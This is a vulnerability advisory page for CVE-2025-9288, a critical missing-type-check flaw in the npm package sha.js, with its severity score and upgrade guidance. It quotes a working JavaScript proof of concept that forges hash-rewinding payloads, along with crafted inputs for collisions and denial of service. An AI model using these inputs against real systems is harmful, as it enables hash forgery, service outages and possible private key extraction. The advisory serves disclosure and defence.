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VulnerabilityPublished Updated

CVE-2025-9288: sha.js is missing type checks leading to hash rewind and passing on crafted data

Affects sha.jsSource GCVE Database

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Authoritative record:CVE-2025-9288· Critical 9.1

Not known to be exploited · CVSS 9.1 Critical : upgrade to 2.4.12 as a priority.

Data as of 29 Oct 2026, 22:52 UTC

CVSS 4.0 base score
9.1Critical
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (harborist)CVSS 4.09.1
Patch
Available – fixed in 2.4.12
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 20 Aug 2025

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade sha.js to 2.4.12.

Affected software

ProductAffectedFixed in
npmsha.jsAffected
  • <2.4.12
Fixed in
  • 2.4.12

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe ``` Or just: ```console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' ``` ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

References

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